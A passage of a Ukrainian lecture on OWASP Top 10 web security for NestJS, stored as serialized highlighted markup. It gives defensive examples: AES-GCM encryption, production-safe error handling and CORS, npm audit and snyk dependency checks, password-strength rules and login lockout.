encrypted",[5260,14287,5535],{"class":5273},[5260,14289,14290],{"class":5341},"cipher",[5260,14292,5383],{"class":5273},[5260,14294,14295],{"class":5277},"update",[5260,14297,5281],{"class":5273},[5260,14299,5434],{"class":5341},[5260,14301,6012],{"class":5273},[5260,14303,14304],{"class":5284},"'utf8'",[5260,14306,6012],{"class":5273},[5260,14308,14309],{"class":5284},"'hex'",[5260,14311,5405],{"class":5273},[5260,14313,14314,14317,14319,14321,14323,14326,14328,14330],{"class":5262,"line":5589},[5260,14315,14316],{"class":5341},"  encrypted",[5260,14318,13086],{"class":5273},[5260,14320,14290],{"class":5341},[5260,14322,5383],{"class":5273},[5260,14324,14325],{"class":5277},"final",[5260,14327,5281],{"class":5273},[5260,14329,14309],{"class":5284},[5260,14331,5405],{"class":5273},[5260,14333,14334],{"class":5262,"line":5611},[5260,14335,5577],{"emptyLinePlaceholder":5576},[5260,14337,14338,14340,14343,14345,14347,14349,14352],{"class":5262,"line":5637},[5260,14339,5807],{"class":5298},[5260,14341,14342],{"class":5531}," tag",[5260,14344,5535],{"class":5273},[5260,14346,14290],{"class":5341},[5260,14348,5383],{"class":5273},[5260,14350,14351],{"class":5277},"getAuthTag",[5260,14353,5634],{"class":5273},[5260,14355,14356],{"class":5262,"line":5643},[5260,14357,5577],{"emptyLinePlaceholder":5576},[5260,14359,14360,14362],{"class":5262,"line":5649},[5260,14361,6231],{"class":5294},[5260,14363,5306],{"class":5273},[5260,14365,14366,14369],{"class":5262,"line":5662},[5260,14367,14368],{"class":5341},"    encrypted",[5260,14370,6156],{"class":5273},[5260,14372,14373,14376,14378,14380,14382,14384,14386],{"class":5262,"line":5698},[5260,14374,14375],{"class":5341},"    iv:",[5260,14377,14214],{"class":5341},[5260,14379,5383],{"class":5273},[5260,14381,13093],{"class":5277},[5260,14383,5281],{"class":5273},[5260,14385,14309],{"class":5284},[5260,14387,14388],{"class":5273},"),\n",[5260,14390,14391,14394,14396,14398,14400,14402,14404],{"class":5262,"line":5713},[5260,14392,14393],{"class":5341},"    tag:",[5260,14395,14342],{"class":5341},[5260,14397,5383],{"class":5273},[5260,14399,13093],{"class":5277},[5260,14401,5281],{"class":5273},[5260,14403,14309],{"class":5284},[5260,14405,14388],{"class":5273},[5260,14407,14408],{"class":5262,"line":5718},[5260,14409,6221],{"class":5273},[5260,14411,14412],{"class":5262,"line":5734},[5260,14413,5423],{"class":5273},[5260,14415,14416],{"class":5262,"line":5739},[5260,14417,5577],{"emptyLinePlaceholder":5576},[5260,14419,14420,14422,14424,14427,14429,14431,14433,14435,14437,14439,14441,14443,14445,14447,14449,14451,14453,14455],{"class":5262,"line":8257},[5260,14421,5295],{"class":5294},[5260,14423,6101],{"class":5298},[5260,14425,14426],{"class":5277}," decrypt",[5260,14428,5281],{"class":5273},[5260,14430,14182],{"class":5341},[5260,14432,5345],{"class":5273},[5260,14434,5348],{"class":5302},[5260,14436,6012],{"class":5273},[5260,14438,14191],{"class":5341},[5260,14440,5345],{"class":5273},[5260,14442,5348],{"class":5302},[5260,14444,6012],{"class":5273},[5260,14446,14200],{"class":5341},[5260,14448,5345],{"class":5273},[5260,14450,5348],{"class":5302},[5260,14452,6115],{"class":5273},[5260,14454,5348],{"class":5302},[5260,14456,5306],{"class":5273},[5260,14458,14459,14461,14464,14466,14468,14470,14473],{"class":5262,"line":8262},[5260,14460,5807],{"class":5298},[5260,14462,14463],{"class":5531}," decipher",[5260,14465,5535],{"class":5273},[5260,14467,14219],{"class":5341},[5260,14469,5383],{"class":5273},[5260,14471,14472],{"class":5277},"createDecipheriv",[5260,14474,5966],{"class":5273},[5260,14476,14477,14480],{"class":5262,"line":10095},[5260,14478,14479],{"class":5531},"    ALGORITHM",[5260,14481,6156],{"class":5273},[5260,14483,14484,14487,14489,14491,14493,14495],{"class":5262,"line":10101},[5260,14485,14486],{"class":5341},"    Buffer",[5260,14488,5383],{"class":5273},[5260,14490,6483],{"class":5277},[5260,14492,5281],{"class":5273},[5260,14494,14266],{"class":5531},[5260,14496,14388],{"class":5273},[5260,14498,14499,14501,14503,14505,14507,14509,14511,14513],{"class":5262,"line":10106},[5260,14500,14486],{"class":5341},[5260,14502,5383],{"class":5273},[5260,14504,6483],{"class":5277},[5260,14506,5281],{"class":5273},[5260,14508,14191],{"class":5341},[5260,14510,6012],{"class":5273},[5260,14512,14309],{"class":5284},[5260,14514,5288],{"class":5273},[5260,14516,14517],{"class":5262,"line":13186},[5260,14518,14519],{"class":5273},"  );\n",[5260,14521,14522],{"class":5262,"line":13191},[5260,14523,5577],{"emptyLinePlaceholder":5576},[5260,14525,14526,14529,14531,14534,14536,14538,14540,14542,14544,14546,14548,14550],{"class":5262,"line":13196},[5260,14527,14528],{"class":5341},"  decipher",[5260,14530,5383],{"class":5273},[5260,14532,14533],{"class":5277},"setAuthTag",[5260,14535,5281],{"class":5273},[5260,14537,14257],{"class":5341},[5260,14539,5383],{"class":5273},[5260,14541,6483],{"class":5277},[5260,14543,5281],{"class":5273},[5260,14545,14200],{"class":5341},[5260,14547,6012],{"class":5273},[5260,14549,14309],{"class":5284},[5260,14551,13168],{"class":5273},[5260,14553,14555],{"class":5262,"line":14554},31,[5260,14556,5577],{"emptyLinePlaceholder":5576},[5260,14558,14560,14562,14565,14567,14570,14572,14574,14576,14578,14580,14582,14584,14586],{"class":5262,"line":14559},32,[5260,14561,14282],{"class":5298},[5260,14563,14564],{"class":5341}," decrypted",[5260,14566,5535],{"class":5273},[5260,14568,14569],{"class":5341},"decipher",[5260,14571,5383],{"class":5273},[5260,14573,14295],{"class":5277},[5260,14575,5281],{"class":5273},[5260,14577,14182],{"class":5341},[5260,14579,6012],{"class":5273},[5260,14581,14309],{"class":5284},[5260,14583,6012],{"class":5273},[5260,14585,14304],{"class":5284},[5260,14587,5405],{"class":5273},[5260,14589,14591,14594,14596,14598,14600,14602,14604,14606],{"class":5262,"line":14590},33,[5260,14592,14593],{"class":5341},"  decrypted",[5260,14595,13086],{"class":5273},[5260,14597,14569],{"class":5341},[5260,14599,5383],{"class":5273},[5260,14601,14325],{"class":5277},[5260,14603,5281],{"class":5273},[5260,14605,14304],{"class":5284},[5260,14607,5405],{"class":5273},[5260,14609,14611],{"class":5262,"line":14610},34,[5260,14612,5577],{"emptyLinePlaceholder":5576},[5260,14614,14616,14618,14620],{"class":5262,"line":14615},35,[5260,14617,6231],{"class":5294},[5260,14619,14564],{"class":5341},[5260,14621,5567],{"class":5273},[5260,14623,14625],{"class":5262,"line":14624},36,[5260,14626,5423],{"class":5273},[5238,14628,14630],{"id":14629},"a03-injection","A03: Injection",[5089,14632,14633,14635],{},[5099,14634,13664],{}," ін'єкції (SQL, NoSQL, OS Command, LDAP) через некоректну обробку user input.",[5089,14637,14638,14640],{},[5099,14639,13693],{}," детально розглянуто вище (параметризовані запити, валідація, санітизація).",[5238,14642,14644],{"id":14643},"a04-insecure-design","A04: Insecure Design",[5089,14646,14647,14649],{},[5099,14648,13664],{}," фундаментальні недоліки у проєктуванні системи безпеки, що не можна виправити просто додаванням заходів.",[5089,14651,14652],{},[5099,14653,13670],{},[5093,14655,14656,14659,14662],{},[5096,14657,14658],{},"Відсутність rate limiting для критичних операцій (розглянуто у попередній лекції)",[5096,14660,14661],{},"Відсутність multi-factor authentication для адміністраторів",[5096,14663,14664],{},"Недостатнє логування безпеки (неможливо виявити атаку)",[5089,14666,14667],{},[5099,14668,13693],{},[5093,14670,14671,14677,14683],{},[5096,14672,14673,14676],{},[5099,14674,14675],{},"Threat Modeling"," на етапі проєктування: аналіз потенційних атак та вразливостей",[5096,14678,14679,14682],{},[5099,14680,14681],{},"Security by Design:"," безпека як частина архітектури, а не afterthought",[5096,14684,14685,14688],{},[5099,14686,14687],{},"Defense in Depth:"," кілька рівнів захисту (якщо один провалиться, інші утримають)",[5238,14690,14692],{"id":14691},"a05-security-misconfiguration","A05: Security Misconfiguration",[5089,14694,14695,14697],{},[5099,14696,13664],{}," неправильна конфігурація серверів, баз даних, фреймворків.",[5089,14699,14700],{},[5099,14701,13670],{},[5093,14703,14704,14710,14713,14716],{},[5096,14705,14706,14707,7928],{},"Залишені debug режими у продакшені (",[5200,14708,14709],{},"NODE_ENV=development",[5096,14711,14712],{},"Дефолтні паролі для баз даних",[5096,14714,14715],{},"Відкриті порти адміністративних панелей (phpMyAdmin, MongoDB Express)",[5096,14717,14718],{},"Детальні повідомлення про помилки у продакшені",[5089,14720,14721],{},[5099,14722,13693],{},[5251,14724,14726],{"className":5253,"code":14725,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ Умовна конфігурація для dev\u002Fprod\nconst isProduction = process.env.NODE_ENV === 'production';\n\napp.useGlobalFilters(\n  isProduction\n    ? new ProductionExceptionFilter() \u002F\u002F Приховує деталі помилок\n    : new DevelopmentExceptionFilter() \u002F\u002F Показує stack traces\n);\n\n\u002F\u002F ✅ Видалення чутливих заголовків\napp.use(helmet({ hidePoweredBy: true }));\n\n\u002F\u002F ✅ Відключення stacktraces у продакшені\napp.enableCors({\n  origin: isProduction ? process.env.ALLOWED_ORIGINS : '*',\n});\n",[5200,14727,14728,14733,14760,14764,14775,14780,14795,14810,14814,14818,14823,14846,14850,14855,14866,14895],{"__ignoreMap":5256},[5260,14729,14730],{"class":5262,"line":5263},[5260,14731,14732],{"class":5266},"\u002F\u002F ✅ Умовна конфігурація для dev\u002Fprod\n",[5260,14734,14735,14737,14740,14742,14744,14746,14748,14750,14753,14755,14758],{"class":5262,"line":5270},[5260,14736,5865],{"class":5298},[5260,14738,14739],{"class":5531}," isProduction",[5260,14741,5535],{"class":5273},[5260,14743,14140],{"class":5341},[5260,14745,5383],{"class":5273},[5260,14747,14145],{"class":5341},[5260,14749,5383],{"class":5273},[5260,14751,14752],{"class":5531},"NODE_ENV",[5260,14754,10771],{"class":5273},[5260,14756,14757],{"class":5284},"'production'",[5260,14759,5567],{"class":5273},[5260,14761,14762],{"class":5262,"line":5291},[5260,14763,5577],{"emptyLinePlaceholder":5576},[5260,14765,14766,14768,14770,14773],{"class":5262,"line":5309},[5260,14767,5958],{"class":5341},[5260,14769,5383],{"class":5273},[5260,14771,14772],{"class":5277},"useGlobalFilters",[5260,14774,5966],{"class":5273},[5260,14776,14777],{"class":5262,"line":5321},[5260,14778,14779],{"class":5341},"  isProduction\n",[5260,14781,14782,14785,14787,14790,14792],{"class":5262,"line":5371},[5260,14783,14784],{"class":5273},"    ? ",[5260,14786,6504],{"class":5298},[5260,14788,14789],{"class":5277}," ProductionExceptionFilter",[5260,14791,5357],{"class":5273},[5260,14793,14794],{"class":5266},"\u002F\u002F Приховує деталі помилок\n",[5260,14796,14797,14800,14802,14805,14807],{"class":5262,"line":5377},[5260,14798,14799],{"class":5273},"    : ",[5260,14801,6504],{"class":5298},[5260,14803,14804],{"class":5277}," DevelopmentExceptionFilter",[5260,14806,5357],{"class":5273},[5260,14808,14809],{"class":5266},"\u002F\u002F Показує stack traces\n",[5260,14811,14812],{"class":5262,"line":5408},[5260,14813,5405],{"class":5273},[5260,14815,14816],{"class":5262,"line":5414},[5260,14817,5577],{"emptyLinePlaceholder":5576},[5260,14819,14820],{"class":5262,"line":5420},[5260,14821,14822],{"class":5266},"\u002F\u002F ✅ Видалення чутливих заголовків\n",[5260,14824,14825,14827,14829,14831,14833,14836,14838,14841,14843],{"class":5262,"line":5580},[5260,14826,5958],{"class":5341},[5260,14828,5383],{"class":5273},[5260,14830,5963],{"class":5277},[5260,14832,5281],{"class":5273},[5260,14834,14835],{"class":5277},"helmet",[5260,14837,7359],{"class":5273},[5260,14839,14840],{"class":5341},"hidePoweredBy:",[5260,14842,7365],{"class":5298},[5260,14844,14845],{"class":5273}," }));\n",[5260,14847,14848],{"class":5262,"line":5589},[5260,14849,5577],{"emptyLinePlaceholder":5576},[5260,14851,14852],{"class":5262,"line":5611},[5260,14853,14854],{"class":5266},"\u002F\u002F ✅ Відключення stacktraces у продакшені\n",[5260,14856,14857,14859,14861,14864],{"class":5262,"line":5637},[5260,14858,5958],{"class":5341},[5260,14860,5383],{"class":5273},[5260,14862,14863],{"class":5277},"enableCors",[5260,14865,5979],{"class":5273},[5260,14867,14868,14871,14873,14876,14878,14880,14882,14884,14887,14890,14893],{"class":5262,"line":5643},[5260,14869,14870],{"class":5341},"  origin:",[5260,14872,14739],{"class":5341},[5260,14874,14875],{"class":5273}," ? ",[5260,14877,14140],{"class":5341},[5260,14879,5383],{"class":5273},[5260,14881,14145],{"class":5341},[5260,14883,5383],{"class":5273},[5260,14885,14886],{"class":5531},"ALLOWED_ORIGINS",[5260,14888,14889],{"class":5273}," : ",[5260,14891,14892],{"class":5284},"'*'",[5260,14894,6156],{"class":5273},[5260,14896,14897],{"class":5262,"line":5649},[5260,14898,8496],{"class":5273},[5089,14900,14901],{},[5099,14902,14903],{},"Приховування деталей помилок:",[5251,14905,14907],{"className":5253,"code":14906,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcommon\u002Ffilters\u002Fproduction-exception.filter.ts\n@Catch()\nexport class ProductionExceptionFilter implements ExceptionFilter {\n  catch(exception: any, host: ArgumentsHost) {\n    const ctx = host.switchToHttp();\n    const response = ctx.getResponse\u003CResponse>();\n\n    const status = exception.getStatus?.() || 500;\n\n    \u002F\u002F У продакшені — загальне повідомлення\n    response.status(status).json({\n      statusCode: status,\n      message: status === 500 ? 'Internal server error' : exception.message,\n      \u002F\u002F ❌ НЕ відправляємо stack trace у продакшені!\n    });\n\n    \u002F\u002F Логування деталей лише на сервері\n    console.error('Exception:', exception.stack);\n  }\n}\n",[5200,14908,14909,14914,14923,14938,14963,14980,15003,15007,15030,15034,15039,15058,15067,15093,15098,15102,15106,15111,15136,15140],{"__ignoreMap":5256},[5260,14910,14911],{"class":5262,"line":5263},[5260,14912,14913],{"class":5266},"\u002F\u002F src\u002Fcommon\u002Ffilters\u002Fproduction-exception.filter.ts\n",[5260,14915,14916,14918,14921],{"class":5262,"line":5270},[5260,14917,5274],{"class":5273},[5260,14919,14920],{"class":5277},"Catch",[5260,14922,5318],{"class":5273},[5260,14924,14925,14927,14929,14931,14933,14936],{"class":5262,"line":5291},[5260,14926,5295],{"class":5294},[5260,14928,5299],{"class":5298},[5260,14930,14789],{"class":5302},[5260,14932,8021],{"class":5298},[5260,14934,14935],{"class":5302}," ExceptionFilter",[5260,14937,5306],{"class":5273},[5260,14939,14940,14943,14945,14948,14950,14952,14954,14956,14958,14961],{"class":5262,"line":5309},[5260,14941,14942],{"class":5277},"  catch",[5260,14944,5281],{"class":5273},[5260,14946,14947],{"class":5341},"exception",[5260,14949,5345],{"class":5273},[5260,14951,9862],{"class":5302},[5260,14953,6012],{"class":5273},[5260,14955,12634],{"class":5341},[5260,14957,5345],{"class":5273},[5260,14959,14960],{"class":5302},"ArgumentsHost",[5260,14962,5368],{"class":5273},[5260,14964,14965,14967,14970,14972,14974,14976,14978],{"class":5262,"line":5321},[5260,14966,5528],{"class":5298},[5260,14968,14969],{"class":5531}," ctx",[5260,14971,5535],{"class":5273},[5260,14973,12634],{"class":5341},[5260,14975,5383],{"class":5273},[5260,14977,8063],{"class":5277},[5260,14979,5634],{"class":5273},[5260,14981,14982,14984,14986,14988,14991,14993,14996,14998,15000],{"class":5262,"line":5371},[5260,14983,5528],{"class":5298},[5260,14985,8396],{"class":5531},[5260,14987,5535],{"class":5273},[5260,14989,14990],{"class":5341},"ctx",[5260,14992,5383],{"class":5273},[5260,14994,14995],{"class":5277},"getResponse",[5260,14997,5202],{"class":5273},[5260,14999,5365],{"class":5302},[5260,15001,15002],{"class":5273},">();\n",[5260,15004,15005],{"class":5262,"line":5377},[5260,15006,5577],{"emptyLinePlaceholder":5576},[5260,15008,15009,15011,15014,15016,15018,15020,15023,15026,15028],{"class":5262,"line":5408},[5260,15010,5528],{"class":5298},[5260,15012,15013],{"class":5531}," status",[5260,15015,5535],{"class":5273},[5260,15017,14947],{"class":5341},[5260,15019,5383],{"class":5273},[5260,15021,15022],{"class":5277},"getStatus",[5260,15024,15025],{"class":5273},"?.() || ",[5260,15027,6886],{"class":5893},[5260,15029,5567],{"class":5273},[5260,15031,15032],{"class":5262,"line":5414},[5260,15033,5577],{"emptyLinePlaceholder":5576},[5260,15035,15036],{"class":5262,"line":5420},[5260,15037,15038],{"class":5266},"    \u002F\u002F У продакшені — загальне повідомлення\n",[5260,15040,15041,15044,15046,15048,15050,15052,15054,15056],{"class":5262,"line":5580},[5260,15042,15043],{"class":5341},"    response",[5260,15045,5383],{"class":5273},[5260,15047,9220],{"class":5277},[5260,15049,5281],{"class":5273},[5260,15051,9220],{"class":5341},[5260,15053,5207],{"class":5273},[5260,15055,10301],{"class":5277},[5260,15057,5979],{"class":5273},[5260,15059,15060,15063,15065],{"class":5262,"line":5589},[5260,15061,15062],{"class":5341},"      statusCode:",[5260,15064,15013],{"class":5341},[5260,15066,6156],{"class":5273},[5260,15068,15069,15072,15074,15076,15078,15080,15083,15085,15087,15089,15091],{"class":5262,"line":5611},[5260,15070,15071],{"class":5341},"      message:",[5260,15073,15013],{"class":5341},[5260,15075,10771],{"class":5273},[5260,15077,6886],{"class":5893},[5260,15079,14875],{"class":5273},[5260,15081,15082],{"class":5284},"'Internal server error'",[5260,15084,14889],{"class":5273},[5260,15086,14947],{"class":5341},[5260,15088,5383],{"class":5273},[5260,15090,5796],{"class":5341},[5260,15092,6156],{"class":5273},[5260,15094,15095],{"class":5262,"line":5637},[5260,15096,15097],{"class":5266},"      \u002F\u002F ❌ НЕ відправляємо stack trace у продакшені!\n",[5260,15099,15100],{"class":5262,"line":5643},[5260,15101,7831],{"class":5273},[5260,15103,15104],{"class":5262,"line":5649},[5260,15105,5577],{"emptyLinePlaceholder":5576},[5260,15107,15108],{"class":5262,"line":5662},[5260,15109,15110],{"class":5266},"    \u002F\u002F Логування деталей лише на сервері\n",[5260,15112,15113,15116,15118,15120,15122,15125,15127,15129,15131,15134],{"class":5262,"line":5698},[5260,15114,15115],{"class":5341},"    console",[5260,15117,5383],{"class":5273},[5260,15119,9919],{"class":5277},[5260,15121,5281],{"class":5273},[5260,15123,15124],{"class":5284},"'Exception:'",[5260,15126,6012],{"class":5273},[5260,15128,14947],{"class":5341},[5260,15130,5383],{"class":5273},[5260,15132,15133],{"class":5341},"stack",[5260,15135,5405],{"class":5273},[5260,15137,15138],{"class":5262,"line":5713},[5260,15139,5417],{"class":5273},[5260,15141,15142],{"class":5262,"line":5718},[5260,15143,5423],{"class":5273},[5238,15145,15147],{"id":15146},"a06-vulnerable-and-outdated-components","A06: Vulnerable and Outdated Components",[5089,15149,15150,15152],{},[5099,15151,13664],{}," використання бібліотек та фреймворків з відомими вразливостями.",[5089,15154,15155],{},[5099,15156,13693],{},[5251,15158,15160],{"className":6416,"code":15159,"language":6418,"meta":5256,"style":5256},"# Перевірка вразливостей у залежностях\nnpm audit\n\n# Автоматичне виправлення (якщо можливо)\nnpm audit fix\n\n# Оновлення залежностей до безпечних версій\nnpm update\n\n# Інструменти для автоматичного моніторингу\nnpm install -g snyk\nsnyk test\nsnyk monitor\n",[5200,15161,15162,15167,15174,15178,15183,15193,15197,15202,15209,15213,15218,15230,15238],{"__ignoreMap":5256},[5260,15163,15164],{"class":5262,"line":5263},[5260,15165,15166],{"class":5266},"# Перевірка вразливостей у залежностях\n",[5260,15168,15169,15171],{"class":5262,"line":5270},[5260,15170,6425],{"class":5277},[5260,15172,15173],{"class":5284}," audit\n",[5260,15175,15176],{"class":5262,"line":5291},[5260,15177,5577],{"emptyLinePlaceholder":5576},[5260,15179,15180],{"class":5262,"line":5309},[5260,15181,15182],{"class":5266},"# Автоматичне виправлення (якщо можливо)\n",[5260,15184,15185,15187,15190],{"class":5262,"line":5321},[5260,15186,6425],{"class":5277},[5260,15188,15189],{"class":5284}," audit",[5260,15191,15192],{"class":5284}," fix\n",[5260,15194,15195],{"class":5262,"line":5371},[5260,15196,5577],{"emptyLinePlaceholder":5576},[5260,15198,15199],{"class":5262,"line":5377},[5260,15200,15201],{"class":5266},"# Оновлення залежностей до безпечних версій\n",[5260,15203,15204,15206],{"class":5262,"line":5408},[5260,15205,6425],{"class":5277},[5260,15207,15208],{"class":5284}," update\n",[5260,15210,15211],{"class":5262,"line":5414},[5260,15212,5577],{"emptyLinePlaceholder":5576},[5260,15214,15215],{"class":5262,"line":5420},[5260,15216,15217],{"class":5266},"# Інструменти для автоматичного моніторингу\n",[5260,15219,15220,15222,15224,15227],{"class":5262,"line":5580},[5260,15221,6425],{"class":5277},[5260,15223,6428],{"class":5284},[5260,15225,15226],{"class":5298}," -g",[5260,15228,15229],{"class":5284}," snyk\n",[5260,15231,15232,15235],{"class":5262,"line":5589},[5260,15233,15234],{"class":5277},"snyk",[5260,15236,15237],{"class":5284}," test\n",[5260,15239,15240,15242],{"class":5262,"line":5611},[5260,15241,15234],{"class":5277},[5260,15243,15244],{"class":5284}," monitor\n",[5089,15246,15247,15250],{},[5099,15248,15249],{},"GitHub Dependabot:"," автоматично створює Pull Requests для оновлення вразливих залежностей.",[5089,15252,15253],{},[5099,15254,15255],{},"Регулярні оновлення:",[5251,15257,15259],{"className":10299,"code":15258,"language":10301,"meta":5256,"style":5256},"{\n  \"scripts\": {\n    \"audit\": \"npm audit --production\",\n    \"update-deps\": \"npm update && npm audit fix\"\n  }\n}\n",[5200,15260,15261,15265,15273,15285,15295,15299],{"__ignoreMap":5256},[5260,15262,15263],{"class":5262,"line":5263},[5260,15264,10313],{"class":5273},[5260,15266,15267,15270],{"class":5262,"line":5270},[5260,15268,15269],{"class":10318},"  \"scripts\"",[5260,15271,15272],{"class":5273},": {\n",[5260,15274,15275,15278,15280,15283],{"class":5262,"line":5291},[5260,15276,15277],{"class":10318},"    \"audit\"",[5260,15279,5345],{"class":5273},[5260,15281,15282],{"class":5284},"\"npm audit --production\"",[5260,15284,6156],{"class":5273},[5260,15286,15287,15290,15292],{"class":5262,"line":5309},[5260,15288,15289],{"class":10318},"    \"update-deps\"",[5260,15291,5345],{"class":5273},[5260,15293,15294],{"class":5284},"\"npm update && npm audit fix\"\n",[5260,15296,15297],{"class":5262,"line":5321},[5260,15298,5417],{"class":5273},[5260,15300,15301],{"class":5262,"line":5371},[5260,15302,5423],{"class":5273},[5238,15304,15306],{"id":15305},"a07-identification-and-authentication-failures","A07: Identification and Authentication Failures",[5089,15308,15309,15311],{},[5099,15310,13664],{}," слабка автентифікація та керування сесіями.",[5089,15313,15314],{},[5099,15315,13670],{},[5093,15317,15318,15325,15328,15331],{},[5096,15319,15320,15321,15324],{},"Відсутність rate limiting на ",[5200,15322,15323],{},"\u002Flogin"," (brute force)",[5096,15326,15327],{},"Слабкі паролі (не вимагається мінімальна складність)",[5096,15329,15330],{},"Відсутність MFA для критичних акаунтів",[5096,15332,15333],{},"Session fixation атаки",[5089,15335,15336],{},[5099,15337,13693],{},[5251,15339,15341],{"className":5253,"code":15340,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ Вимоги до паролів\nimport { IsStrongPassword } from 'class-validator';\n\nexport class RegisterDto {\n  @IsStrongPassword({\n    minLength: 8,\n    minLowercase: 1,\n    minUppercase: 1,\n    minNumbers: 1,\n    minSymbols: 1,\n  })\n  password: string;\n}\n\n\u002F\u002F ✅ Блокування після невдалих спроб\n@Injectable()\nexport class AuthService {\n  private failedAttempts = new Map\u003Cstring, number>();\n\n  async login(email: string, password: string) {\n    const attempts = this.failedAttempts.get(email) || 0;\n\n    if (attempts >= 5) {\n      throw new UnauthorizedException('Account locked. Try again in 15 minutes.');\n    }\n\n    const user = await this.userService.findByEmail(email);\n\n    if (!user || !(await bcrypt.compare(password, user.password))) {\n      this.failedAttempts.set(email, attempts + 1);\n      \n      \u002F\u002F Скинути лічильник через 15 хвилин\n      setTimeout(() => this.failedAttempts.delete(email), 15 * 60 * 1000);\n\n      throw new UnauthorizedException('Invalid credentials');\n    }\n\n    \u002F\u002F Успішний логін — скинути лічильник\n    this.failedAttempts.delete(email);\n\n    return this.generateToken(user);\n  }\n}\n",[5200,15342,15343,15348,15365,15369,15380,15388,15398,15408,15417,15426,15435,15439,15449,15453,15457,15462,15470,15480,15504,15508,15532,15562,15566,15583,15598,15602,15606,15633,15637,15671,15700,15705,15710,15752,15756,15770,15774,15779,15785,15805,15810,15827,15832],{"__ignoreMap":5256},[5260,15344,15345],{"class":5262,"line":5263},[5260,15346,15347],{"class":5266},"\u002F\u002F ✅ Вимоги до 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8",[5260,15397,6156],{"class":5273},[5260,15399,15400,15403,15406],{"class":5262,"line":5377},[5260,15401,15402],{"class":5341},"    minLowercase:",[5260,15404,15405],{"class":5893}," 1",[5260,15407,6156],{"class":5273},[5260,15409,15410,15413,15415],{"class":5262,"line":5408},[5260,15411,15412],{"class":5341},"    minUppercase:",[5260,15414,15405],{"class":5893},[5260,15416,6156],{"class":5273},[5260,15418,15419,15422,15424],{"class":5262,"line":5414},[5260,15420,15421],{"class":5341},"    minNumbers:",[5260,15423,15405],{"class":5893},[5260,15425,6156],{"class":5273},[5260,15427,15428,15431,15433],{"class":5262,"line":5420},[5260,15429,15430],{"class":5341},"    minSymbols:",[5260,15432,15405],{"class":5893},[5260,15434,6156],{"class":5273},[5260,15436,15437],{"class":5262,"line":5580},[5260,15438,6059],{"class":5273},[5260,15440,15441,15443,15445,15447],{"class":5262,"line":5589},[5260,15442,10537],{"class":5341},[5260,15444,5345],{"class":5273},[5260,15446,5348],{"class":5302},[5260,15448,5567],{"class":5273},[5260,15450,15451],{"class":5262,"line":5611},[5260,15452,5423],{"class":5273},[5260,15454,15455],{"class":5262,"line":5637},[5260,15456,5577],{"emptyLinePlaceholder":5576},[5260,15458,15459],{"class":5262,"line":5643},[5260,15460,15461],{"class":5266},"\u002F\u002F ✅ Блокування після невдалих спроб\n",[5260,15463,15464,15466,15468],{"class":5262,"line":5649},[5260,15465,5274],{"class":5273},[5260,15467,7688],{"class":5277},[5260,15469,5318],{"class":5273},[5260,15471,15472,15474,15476,15478],{"class":5262,"line":5662},[5260,15473,5295],{"class":5294},[5260,15475,5299],{"class":5298},[5260,15477,7699],{"class":5302},[5260,15479,5306],{"class":5273},[5260,15481,15482,15484,15487,15489,15491,15493,15495,15497,15499,15502],{"class":5262,"line":5698},[5260,15483,9810],{"class":5298},[5260,15485,15486],{"class":5341}," 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Try again in 15 minutes.'",[5260,15597,5405],{"class":5273},[5260,15599,15600],{"class":5262,"line":10095},[5260,15601,8170],{"class":5273},[5260,15603,15604],{"class":5262,"line":10101},[5260,15605,5577],{"emptyLinePlaceholder":5576},[5260,15607,15608,15610,15612,15614,15616,15618,15620,15622,15624,15627,15629,15631],{"class":5262,"line":10106},[5260,15609,5528],{"class":5298},[5260,15611,8760],{"class":5531},[5260,15613,5535],{"class":5273},[5260,15615,5538],{"class":5294},[5260,15617,5541],{"class":5298},[5260,15619,5383],{"class":5273},[5260,15621,13838],{"class":5341},[5260,15623,5383],{"class":5273},[5260,15625,15626],{"class":5277},"findByEmail",[5260,15628,5281],{"class":5273},[5260,15630,8724],{"class":5341},[5260,15632,5405],{"class":5273},[5260,15634,15635],{"class":5262,"line":13186},[5260,15636,5577],{"emptyLinePlaceholder":5576},[5260,15638,15639,15641,15643,15645,15648,15650,15652,15654,15656,15658,15660,15662,15664,15666,15668],{"class":5262,"line":13191},[5260,15640,8143],{"class":5294},[5260,15642,8146],{"class":5273},[5260,15644,7721],{"class":5341},[5260,15646,15647],{"class":5273}," || !(",[5260,15649,5538],{"class":5294},[5260,15651,13902],{"class":5341},[5260,15653,5383],{"class":5273},[5260,15655,14059],{"class":5277},[5260,15657,5281],{"class":5273},[5260,15659,10219],{"class":5341},[5260,15661,6012],{"class":5273},[5260,15663,7721],{"class":5341},[5260,15665,5383],{"class":5273},[5260,15667,10219],{"class":5341},[5260,15669,15670],{"class":5273},"))) {\n",[5260,15672,15673,15676,15678,15680,15682,15685,15687,15689,15691,15693,15696,15698],{"class":5262,"line":13196},[5260,15674,15675],{"class":5298},"      this",[5260,15677,5383],{"class":5273},[5260,15679,15547],{"class":5341},[5260,15681,5383],{"class":5273},[5260,15683,15684],{"class":5277},"set",[5260,15686,5281],{"class":5273},[5260,15688,8724],{"class":5341},[5260,15690,6012],{"class":5273},[5260,15692,15574],{"class":5341},[5260,15694,15695],{"class":5273}," + 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   \u002F\u002F Успішний логін — скинути лічильник\n",[5260,15786,15788,15791,15793,15795,15797,15799,15801,15803],{"class":5262,"line":15787},39,[5260,15789,15790],{"class":5298},"    this",[5260,15792,5383],{"class":5273},[5260,15794,15547],{"class":5341},[5260,15796,5383],{"class":5273},[5260,15798,15730],{"class":5277},[5260,15800,5281],{"class":5273},[5260,15802,8724],{"class":5341},[5260,15804,5405],{"class":5273},[5260,15806,15808],{"class":5262,"line":15807},40,[5260,15809,5577],{"emptyLinePlaceholder":5576},[5260,15811,15813,15815,15817,15819,15821,15823,15825],{"class":5262,"line":15812},41,[5260,15814,5562],{"class":5294},[5260,15816,5541],{"class":5298},[5260,15818,5383],{"class":5273},[5260,15820,10256],{"class":5277},[5260,15822,5281],{"class":5273},[5260,15824,7721],{"class":5341},[5260,15826,5405],{"class":5273},[5260,15828,15830],{"class":5262,"line":15829},42,[5260,15831,5417],{"class":5273},[5260,15833,15835],{"class":5262,"line":15834},43,[5260,15836,5423],{"class":5273},[5238,15838,15840],{"id":15839},"a08-software-and-data-integrity-failures","A08: Software and Data Integrity Failures",[5089,15842,15843,15845],{},[5099,15844,13664],{}," недостатня верифікація джерел коду та даних.",[5089,15847,15848],{},[5099,15849,13670],{},[5093,15851,15852,15855,15858],{},[5096,15853,15854],{},"Завантаження npm пакетів без перевірки integrity 